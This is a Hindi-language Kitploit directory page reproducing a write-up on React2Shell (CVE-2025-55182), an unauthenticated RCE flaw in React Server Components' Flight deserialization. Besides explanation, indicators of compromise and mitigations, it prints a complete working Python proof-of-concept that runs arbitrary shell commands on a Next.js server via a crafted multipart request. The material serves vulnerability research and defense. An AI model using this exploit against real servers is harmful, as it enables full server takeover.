Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web — React2Shell, CVE-2025-55182, RCE भेद्यता: React सर्वर घटकों में असुरक्षित डिसीरियलाइज़ेशन दोष का एक गंभीर विश्लेषण जो डिफ़ॉल्ट React/Next.js सेटअप में अप्रमाणित रिमोट कोड निष्पादन को सक्षम करता है। | Kitploit
उपकरण/GitHubGitHub/adityabhatt3010/react2shell-cve-2025-55182-the-deserialization-bug-that-broke-the-web
समझौता संकेतक (IOC) प्रबंधनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणCTFपेनिट्रेशन टेस्टिंगखतरा खुफियापेपर और शोधलर्निंग और शिक्षा

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
घटना प्रतिक्रिया
पेलोड डेवलपमेंट
GitHubadityabhatt3010/react2shell-cve-2025-55182-the-deserialization-bug-that-broke-the-web

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell, CVE-2025-55182, RCE भेद्यता: React सर्वर घटकों में असुरक्षित डिसीरियलाइज़ेशन दोष का एक गंभीर विश्लेषण जो डिफ़ॉल्ट React/Next.js सेटअप में अप्रमाणित रिमोट कोड निष्पादन को सक्षम करता है।

रिपॉजिटरी देखें
88 महीने पहलेअभी तक समीक्षित नहीं

React2Shell (CVE-2025-55182): वह Deserialization बग जिसने Web को तोड़ दिया ⚡

React2Shell, CVE-2025-55182, RCE भेद्यता: React Server Components में असुरक्षित deserialization दोष का एक गंभीर विश्लेषण जो डिफ़ॉल्ट React/Next.js सेटअपों में अप्रमाणित रिमोट कोड निष्पादन को सक्षम बनाता है।

⏩ TL;DR

React2Shell (CVE-2025-55182) React 19.x और Next.js जैसे फ्रेमवर्क में React Server Components (RSC) को प्रभावित करने वाली एक गंभीर Remote Code Execution (RCE) भेद्यता है। यह दोष "Flight" प्रोटोकॉल चंक्स के असुरक्षित deserialization में निहित है, जो हमलावरों को दुर्भावनापूर्ण संरचनाओं को इंजेक्ट करने की अनुमति देता है जो Function constructor में हल हो जाती हैं, जिसके परिणामस्वरूप सर्वर पर मनमाना JavaScript निष्पादन होता है।

  • डिफ़ॉल्ट कॉन्फ़िगरेशन पर काम करता है
  • कोई प्रमाणीकरण की आवश्यकता नहीं
  • मानक multipart/form-data अनुरोधों का शोषण करता है
  • पूर्ण सर्वर अधिग्रहण की ओर ले जाता है
  • सार्वजनिक PoC मौजूद है (नीचे श्रेय दिया गया है)
  • शमन: React 19.2.1+ / Next.js पैच किए गए संस्करण में अपडेट करें

React2Shell


👋 परिचय

React Server Components को अधिक सहज, रचनात्मक वर्कफ़्लो के साथ क्लाइंट/सर्वर रेंडरिंग को जोड़ने के लिए पेश किया गया था। ऐसा करने के लिए, React एक कस्टम बाइनरी-जैसी सीरियलाइज़ेशन चैनल का उपयोग करता है जिसे Flight प्रोटोकॉल कहा जाता है।

दुर्भाग्य से, इस प्रोटोकॉल के deserialization तर्क में एक सूक्ष्म दोष था जिसने हमलावरों को React के रनटाइम में गहराई तक दुर्भावनापूर्ण पेलोड घुसाने की अनुमति दी।

परिणाम? एक पूर्ण, अप्रमाणित remote code execution श्रृंखला, जिसे अब React2Shell नाम दिया गया है — और हाँ, इसका प्रभाव पैमाने और पहुँच में Log4Shell के बराबर है। 🔥

यह लेख भेद्यता को एक साफ, कार्रवाई योग्य प्रारूप में तोड़ता है — VAPT चिकित्सकों, शोधकर्ताओं और रक्षकों के लिए आदर्श।


🧠 भेद्यता की व्याख्या (React2Shell सरल भाषा में)

🧩 1. React का Flight प्रोटोकॉल कैसे काम करता है

RSC क्लाइंट के साथ सीरियलाइज़्ड "चंक्स" भेजकर संचार करता है जो संदर्भों, वस्तुओं, घटक मेटाडेटा, एसिंक्रोनस सीमाओं आदि का प्रतिनिधित्व करते हैं।

जब ये चंक्स सर्वर या क्लाइंट पर पहुँचते हैं, React उन्हें वापस ऑब्जेक्ट और फ़ंक्शन में deserialize करता है।

यह प्रक्रिया डेटा संरचना को सुरक्षित मानती है। यहीं पर चीज़ें टूट गईं।


💥 2. मुख्य दोष: असुरक्षित Deserialization → Function Constructor → RCE

हमलावरों ने दुर्भावनापूर्ण चंक्स बनाने का एक तरीका खोजा जिसमें शामिल हैं:

  • प्रोटोटाइप एक्सेसर्स
  • नकली प्रॉमिस-जैसी वस्तुएँ (thenables)
  • प्रोटोटाइप श्रृंखला को संदर्भित करने वाली कुंजियाँ
  • वे पथ जो अंततः Function constructor को उजागर करते हैं

उदाहरण पैटर्न:

root@kitploit:~
"$then": { "constructor": { "prototype": null } }

Deserialization के दौरान, React इस ऑब्जेक्ट को एक thenable के रूप में व्याख्या करता है और कॉल करता है:

root@kitploit:~
promise.then(...)

लेकिन यहाँ, then वास्तव में Function constructor है, इसलिए कॉल बन जाती है:

root@kitploit:~
(new Function("malicious_payload"))();

इसके परिणामस्वरूप React Server Components चलाने वाले Node.js वातावरण में मनमाना JavaScript निष्पादन होता है।

बूम — आपके पास RCE है।


🚨 3. यह इतना खतरनाक क्यों है

  • किसी प्रमाणीकरण की आवश्यकता नहीं
  • डिफ़ॉल्ट Next.js ऐप्स पर काम करता है
  • किसी विशेष कॉन्फ़िगरेशन या फ़्लैग की आवश्यकता नहीं
  • सरल HTTP POST अनुरोध
  • पूर्ण समझौता करता है: फ़ाइल लिखना, प्रक्रिया स्पॉन, पार्श्व गति

यही कारण है कि क्लाउड विक्रेताओं, सुरक्षा टीमों और CERTs ने सार्वजनिक होने पर तुरंत प्रतिक्रिया दी।


🚨 समझौते के संकेतक (IoCs)

📡 नेटवर्क IoCs

  • इनके लिए मल्टीपार्ट POST अनुरोध:

    • /react
    • /rsc
    • /server, /flight, /server-actions
  • इन कुंजियों वाले पेलोड:

    • $then
    • $proto
    • $constructor
    • $type

🖥️ होस्ट-स्तरीय IoCs

  • संदिग्ध Node.js निष्पादन जैसे:

    root@kitploit:~
    node -e "<payload>"
    
  • इसके अंतर्गत अप्रत्याशित फ़ाइलें:

    • /tmp/react-rce-*
    • /var/tmp/node-rce-*

🧭 व्यवहारिक IoCs

  • निष्पादन विसंगतियों से पहले हाइड्रेशन बेमेल लॉग
  • संदिग्ध IPs के लिए अचानक आउटबाउंड कनेक्शन
  • RSC deserialization हैंडलर में क्रैश
  • सर्वर द्वारा लौटाए गए असामान्य या विकृत Flight चंक्स

🧪 PoC

⚠️ महत्वपूर्ण नोट
मैं नहीं इस PoC का मालिक हूँ।
इसे निम्नलिखित सार्वजनिक रिपॉजिटरी से संदर्भित किया गया है, जिसका पूरा श्रेय लेखक को है:

👉 https://github.com/msanft/CVE-2025-55182

⚠️ अस्वीकरण:

निम्नलिखित Proof-of-Concept (PoC) केवल शैक्षिक और रक्षात्मक साइबर सुरक्षा अनुसंधान के लिए प्रदान किया गया है।
इसे केवल पृथक प्रयोगशाला वातावरण या उन प्रणालियों पर निष्पादित किया जाना चाहिए जहाँ आपके पास परीक्षण करने के लिए स्पष्ट प्राधिकरण है।

अनधिकृत पहुँच, शोषण या सिस्टम समझौते के लिए इस कोड का दुरुपयोग अवैध, अनैतिक और साइबर सुरक्षा कानूनों के तहत दंडनीय है।
जिम्मेदारी से आगे बढ़ें। 🛡️💻

नीचे पूरा PoC है:

root@kitploit:~
# CREDIT: https://github.com/msanft/CVE-2025-55182
# Do NOT run in production. Research-use only.

# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

⚠️ अस्वीकरण:

यदि आपने इस PoC को निष्पादित किया, तो सुनिश्चित करें कि आपने इसे नियंत्रित सैंडबॉक्स में किया न कि किसी उत्पादन या तृतीय-पक्ष संपत्ति पर।

यह प्रदर्शन केवल विश्लेषकों, डेवलपर्स और रक्षकों को CVE-2025-55182 (React2Shell) को समझने, पता लगाने और कम करने में मदद करने के लिए मौजूद है।
इस जानकारी का कोई भी दुर्भावनापूर्ण या अनधिकृत उपयोग सख्ती से प्रतिबंधित है और लेखक द्वारा समर्थित नहीं है।

नैतिक रहें। सुरक्षित रहें। 🐉🔥


🛡️ शमन और रक्षा रणनीति

✅ 1. तुरंत अपग्रेड करें

  • React → 19.2.1+
  • Next.js → Vercel द्वारा जारी पैच किए गए संस्करण
  • अन्य RSC-सक्षम फ्रेमवर्क → विक्रेता पैच लागू करें

🔐 2. अल्पकालिक सख्तीकरण

  • RSC deserialization पैटर्न के लिए WAF हस्ताक्षर जोड़ें
  • संदिग्ध मल्टीपार्ट POST ट्रैफ़िक को ब्लॉक करें
  • सर्वर-एक्शन एंडपॉइंट्स तक सार्वजनिक पहुँच को प्रतिबंधित करें
  • यदि आवश्यक न हो तो प्रायोगिक RSC सुविधाओं को अक्षम करें
  • सख्त इनबाउंड अनुरोध सत्यापन लागू करें

🧱 3. गहराई में रक्षा

  • Node.js रनटाइम सैंडबॉक्सिंग का उपयोग करें
  • आउटबाउंड नेटवर्क प्रतिबंध सक्षम करें
  • अप्रत्याशित सर्वर-साइड कोड निष्पादन के लिए ऑडिट करें
  • लॉग और बिल्ड पाइपलाइनों में विसंगति का पता लगाना जोड़ें

👋 समापन — जिज्ञासु रहें, सुरक्षित रहें 🔥

React2Shell एक शक्तिशाली अनुस्मारक है कि सीरियलाइज़ेशन परतें, चाहे कितनी भी सुंदर क्यों न हों, आधुनिक फ्रेमवर्क में सबसे खतरनाक घटकों में से एक बनी हुई हैं। जिस पल मनमानी वस्तुएँ बिना सत्यापन के रनटाइम को छूती हैं, RCE की श्रृंखला दर्दनाक रूप से छोटी हो जाती है।

पढ़ने के लिए धन्यवाद — और हमेशा की तरह, नैतिक रूप से हैक करते रहें, लगातार सीखते रहें, और उस सुरक्षा की आग को जलते रखें। 🔥🐉


⭐ मुझे फ़ॉलो करें और जुड़ें

यदि आपको यह लेख पसंद आया या आप मेरे साइबर सुरक्षा अनुसंधान से जुड़े रहना चाहते हैं:

🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010


टूल डाउनलोड करें